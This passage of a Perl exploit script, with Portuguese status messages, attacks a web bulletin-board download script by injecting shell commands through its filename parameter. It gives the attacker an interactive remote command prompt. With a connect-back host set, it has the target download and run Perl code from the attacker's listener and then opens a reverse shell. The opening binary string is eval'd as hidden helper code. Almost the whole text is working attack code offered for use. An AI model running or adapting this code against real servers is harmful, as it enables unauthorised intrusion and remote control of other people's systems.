011100100110011100101001001111010100000001011111001110110110110101111001001001000110011001101001011011000110010100111101001001000110110101101111011001000111010101101100011001010011101100100100011001100110100101101100011001010011110101111110001000000111001101011011001110100011101001011101010110110010111101011101011001110011101101101001011001100010100000100100011100100110010101110001011101010110100101110010011001010010100101111011011011010110000101110000011110110110010101110110011000010110110000100000011100010111000101011011011100100110010101110001011101010110100101110010011001010010000000100010001001000101111100101111001001000110011001101001011011000110010100100010001110110101110100100000011010010110011000100000001011010110011000100000001000100010010001011111001011110010010001100110011010010110110001100101001000100011101101111101001000000100000001001001010011100100001100111011011111010110010101101100011100110110010101111011001001000110011001101001011011000110010100100000001011100011110100100000001001110010111001110000011011010010011100100000011101010110111001101100011001010111001101110011001000000010010001100110011010010110110001100101001000000011110101111110001000000010111100101000010111000010111001110000011011010111110001011100001011100111000001101000001010010010010000101111001110110111001001100101011101000111010101110010011011100010000001100101011101100110000101101100001000000010001001110101011100110110010100100000001001000110110101101111011001000111010101101100011001010010000000100100011000010111001001100111001110110010001000100000011010010110011000100000011001110111001001100101011100000010000001111011001011010110011000100000001000100010010001011111001011110010010001100110011010010110110001100101001000100011101101111101001000000100000001001001010011100100001100111011011111010111001001100101011101000111010101110010011011100010000000101011001010000010100100111011011111010111001101110101011000100010000001110111011100100110100101110100011001010101111101110011011010000110010101101100011011000010000001111011011011010111100100101000001001000110001101101100011010010010110000100000001001000110110101110011011001110010100100111101010000000101111100111011011011010111100100100100011100110110100001100101011011000110110000111101001001000100001101001100010010010100010101001110010101000111101100100100011000110110110001101001011111010111101100100111011100110110100001100101011011000110110000100111011111010011101101110010011001010111010001110101011100100110111000100000011101010110111001100100011001010110011000100000011101010110111001101100011001010111001101110011001000000010010001110011011010000110010101101100011011000011101101100110011011110111001001100101011000010110001101101000001000000110110101111001001000000010010001101101001000000010100001110011011100000110110001101001011101000101111101100011011010000110000101110010011100110010100000100100011011010111001101100111001011000010000000110010001100000010100100101001011110110111001001100101011000010110010001011111011100110110100001100101011011000110110001110011001000000011101101110000011100100110100101101110011101000010000000100100011100110110100001100101011011000110110000100000001001000110110100111011011100100110010101100001011001000101111101110011011010000110010101101100011011000111001100100000001110110111110101110010011001010111010001110101011100100110111000100000001100010011101101111101011100110111010101100010001000000111001101110000011011000110100101110100010111110110001101101000011000010111001001110011001000000111101101101101011110010010100000100100011011010111001101100111001011000010000000100100011011100110001101101000011000010111001001110011001010010011110101000000010111110011101101101101011110010100000001110011011100000110110001101001011101000110010101100100001110110110110101111001001010000100000001100011011010000111001001110011001010010011110101110011011100000110110001101001011101000010100000101111001011110010110000100000001001000110110101110011011001110010110000100000001100000010100100111011011011010111100100100100011001000110111101101110011001010011110100110000001110110111011101101000011010010110110001100101001010000011000100101001011110110110110101111001001001000111001101110000011011000110100101110100011001010110010000111101011010100110111101101001011011100010100000100111001001110010110000100000010000000110001101101000011100100111001101011011001001000110010001101111011011100110010100100000001011100010111000100000001001000110010001101111011011100110010100100000001010110010000000100100011011100110001101101000011000010111001001110011001000000010110100100000001100010101110100101001001110110010010001100100011011110110111001100101001000000010101100111101001000000010010001101110011000110110100001100001011100100111001100111011011011000110000101110011011101000010000001101001011001100010000001101100011001010110111001100111011101000110100000100000001001000111001101110000011011000110100101110100011001010110010000100000001111000010000000110001001110110111000001110101011100110110100000100000010000000111001101110000011011000110100101110100011001010110010000101100001000000010010001110011011100000110110001101001011101000110010101100100001110110111110101110010011001010111010001110101011100100110111000100000010000000111001101110000011011000110100101110100011001010110010000111011011111010111001101110101011000100010000001100110011010010110111001101001011100110110100001011111011000110110110001101001011001010110111001110100001000000111101101101101011110010010100000100100011000110110110001101001001011000010000000100100011011010111001101100111001010010011110101000000010111110011101101110111011100100110100101110100011001010101111101100011011011000110100101100101011011100111010000101000001001000110001101101100011010010010110000100000001001000110110101110011011001110010100100111011011000110110110001101111011100110110010101011111011000110110110001101001011001010110111001110100001010000010010001100011011011000110100100101001001110110111110101110011011101010110001000100000011000110110110001101111011100110110010101011111011000110110110001101001011001010110111001110100001000000111101101101101011110010010010001100011011011000110100100111101011100110110100001101001011001100111010000100000010000000101111100111011011011010111100100100100011100110110111101100011011010110011110100100100010000110100110001001001010001010100111001010100011110110010010001100011011011000110100101111101011110110010011101110011011011110110001101101011001001110111110100111011001001000111001101100101011011000101111101110011011001010111001001110110001011010011111001110010011001010110110101101111011101100110010100101000001001000111001101101111011000110110101100101001001110110110100101100110001010000010010001000011010011000100100101000101010011100101010001111011001001000110001101101100011010010111110101111011001001110111001101101000011001010110110001101100001001110111110100101001011110110110110101111001001001000111001101101000011001010110110001101100001111010010010001000011010011000100100101000101010011100101010001111011001001000110001101101100011010010111110101111011001001110111001101101000011001010110110001101100001001110111110100111011001001000111001101100101011011000101111101110011011010000110010101101100011011000010110100111110011100100110010101101101011011110111011001100101001010000010010001110011011010000110010101101100011011000010100100111011011000110110110001101111011100110110010100100000001001000111001101101000011001010110110001101100001110110111110100100100011100110110111101100011011010110010110100111110011000110110110001101111011100110110010100100000011010010110011000100000001001000111001101101111011000110110101100111011011001000110010101101100011001010111010001100101001000000010010001000011010011000100100101000101010011100101010001111011001001000110001101101100011010010111110100111011011111010111001101110101011000100010000001110111011100100110100101110100011001010101111101100011011011000110100101100101011011100111010000100000011110110110110101111001001010000010010001100011011011000110100100101100001000000010010001101101011100110110011100101001001111010100000001011111001110110110110101111001001001000111001101101111011000110110101100111101001001000100001101001100010010010100010101001110010101000111101100100100011000110110110001101001011111010111101100100111011100110110111101100011011010110010011101111101001110110111001101111001011100110111011101110010011010010111010001100101001000000010010001110011011011110110001101101011001011000010000000100100011011010111001101100111001011000010000001101100011001010110111001100111011101000110100000100000001001000110110101110011011001110010000001101001011001100010000000100100011100110110111101100011011010110011101101111101011100110111010101100010001000000111011001100001011010000010000001111011011100000111001001101001011011100111010000100000001000100010010001011111010110110011000001011101010111000110111000100010001110110110010101111000011010010111010000100000001100010011101101111101");eval"$C";';


if ($CBHOST) {
  my $len = length($cbshell);

  print "Binding on port $CBPORT\n";
  $bind = IO::Socket::INET->new(LocalPort => $CBPORT, Proto => 'tcp', Listen => 1) || die "could not listen on port $CBPORT";
  my $transfcmd = "perl -mIO::Socket -e 'fork && exit; \$pa = \"$CBHOST\";\$pp = $CBPORT; \$sock = IO::Socket::INET->new(PeerAddr => \$pa, PeerPort => \$pp, Proto => \"tcp\") || exit; \$stop = $len; \$tot = 0; \$code = \"\"; while(sysread(\$sock, \$msg, 1024)) { \$tot += length(\$msg); \$code .= \$msg; last if (\$tot >= \$stop); } \$sock->close(); system(\"perl -e \".chr(39).\$code.chr(39).\" \$pa \$pp\");'";
  print "Executando Transferencia De Codigo...\n";

  local($SIG{CHLD}) = sub { wait; };
  my $pid = fork();

  unless($pid) {
    print do_cmd($transfcmd);
    exit;
  }

  print "AGUARDANDO A CONEXAO PARA TRANSFERIR...\n";
  my $remote = $bind->accept() || die "The box didn't connect";
  print "Peer Conectado! Aguardando Conexao Para Voltar Ao Comando....\n";

  my $sent = 0;
  while ($sent < $len) {
    my $s = substr($cbshell,$sent, 1024);
    $sent += 1024;
    print $remote $s;
  }

  print "TRANSFERENCIA COMPLETA!\n";
#  $remote->close() if ($remote->connected());
  cbshellcli();

  exit(0);
}

print "Type ^C Para Sair.\n\n>> Welcome Remote Exploit Command \n\n";
while ( 1 ) {
  print do_cmd(get_cmd());
}

sub get_cmd {

  print "[$HOST ($PWD)]: ";

  chop (my $cmd = <STDIN>);

  return($cmd);
}

sub try_vul {
  my $try_to_say = "CONCLUIDO";
  my @resp = do_cmd("echo $try_to_say");
#  print STDOUT "@resp\n";# if (grep { $_ =~ /$try_to_say/ } @resp);
  return(undef) unless(defined($resp[0]));
  
  $resp[$#resp] =~ s/\n//g;
#  print STDOUT "res: $resp[$#resp]\n";
  ($resp[$#resp] eq $try_to_say) ? 1 : undef;
}

sub do_cmd {
  my ($cmd, $env) = @_;

  $env = "CMD: cd $PWD; $cmd 2>&1;pwd";
  my @resp = request(make_cmd_string('sh -c "$HTTP_CMD"'), $env);

#  print STDOUT "@resp\n";

  my $header_end;

  for (my $c = 0; $c <= $#resp; $c++) {
    if ($resp[$c] eq "\r\n" or $resp[$c] eq "\n" ) {
      $header_end = $c;
      last;
    }
  }

  if ($resp[$#resp] !~ /\<.*(html|body)/i and $resp[$#resp] =~ /^\//) {
    $PWD = $resp[$#resp];
    chop($PWD);
  }
#  print STDOUT "($header_end == $#resp);\n";

  return() if ($header_end == $#resp);

  my @cmd_resp = @resp[($header_end+1) .. ($#resp-1)];
  return(@cmd_resp);
}

sub escape {
   my $cmd = shift;

#   if ($URI) {
#     $cmd = URI::Escape::uri_escape($cmd);
#   } else {

     $cmd =~ s/ /%20/g;  # just a little treat for some chars if we dont have URI::Escape
     $cmd =~ s/;/%3B/g;  # d common used
     $cmd =~ s/\$/%24/g;
     $cmd =~ s/\"/%22/g;

# not needed anymore for us..
#     $cmd =~ s/\&/%26/g; 
#     $cmd =~ s/\>/%3E/g;
#     $cmd =~ s/\</%3C/g;
#     $cmd =~ s/\?/%3F/g;
#     $cmd =~ s/\//%2F/g;
#     $cmd =~ s/\\/%5C/g;

#   }

   return($cmd);
}

sub make_cmd_string {
   my $cmd = shift;

   $cmd = escape($cmd);

   if ($DOC =~ /\&/) {
     return($DOC."%3B".$cmd."|");
   } else {
     return($DOC."?down_num=".$NUM."&board=any&command=down_load&filename=getfile.txt%3B".$cmd."|");
   }

}

sub request {
   my ($string, $env) = @_;

   $env .= "\r\n" if ($env);
   my $sock = IO::Socket::INET->new(PeerHost => $HOST, PeerPort => $PORT, Proto => 'tcp') || die "Could not connect on $HOST:$PORT. Err: $!";

   print $sock "GET $string HTTP/1.0\r\nTE: deflate;q=0.3\r\nHost: $HOST\r\nUser-Agent: Getter/0.1\r\n$env\r\n";

   my @resp = <$sock>;

   return(@resp);
}

sub cbshellcli {
  use IO::Select;

  my $RK = undef;
  map { $RK = 1 if (-r "$_/Term/ReadKey.pm") } @INC;
  eval 'use Term::ReadKey' if ($RK);

  END {
    if ($RK) {
      Term::ReadKey::ReadMode(0);
#    } else {
#        system("stty sane");
    }
  }

  print "AGUARDE CONEXAO REMOTA.... ";
  my $sock = $bind->accept();
  print "OK!\n\nREAL SHELL!!\n\n";
  

  if ($RK) {
    Term::ReadKey::ReadMode(4);
#  } else {
##      system("stty raw -echo");
#      STDIN->autoflush(1);
#system("stty -icanon -isig -iexten -echo -echoe -echok -echonl -echoctl -echoprt -echoke -ixon -ixany -brkint");
#      sleep(2);
  }


  my $sel = IO::Select->new($sock);
  $sel->add(\*STDIN);

  while ( 1 ) {
    foreach my $fh ($sel->can_read(0.01)) {
       my $msg;
       my $nread = sysread($fh, $msg, 1024);
       if ($fh eq $sock) {
          if ($nread == 0) {
            print STDOUT "\n\nCONEXAO FECHADA.\n\n";
            exit;
          }
          print STDOUT $msg;
       } else {
           print $sock $msg;
       }
    }
  }
}
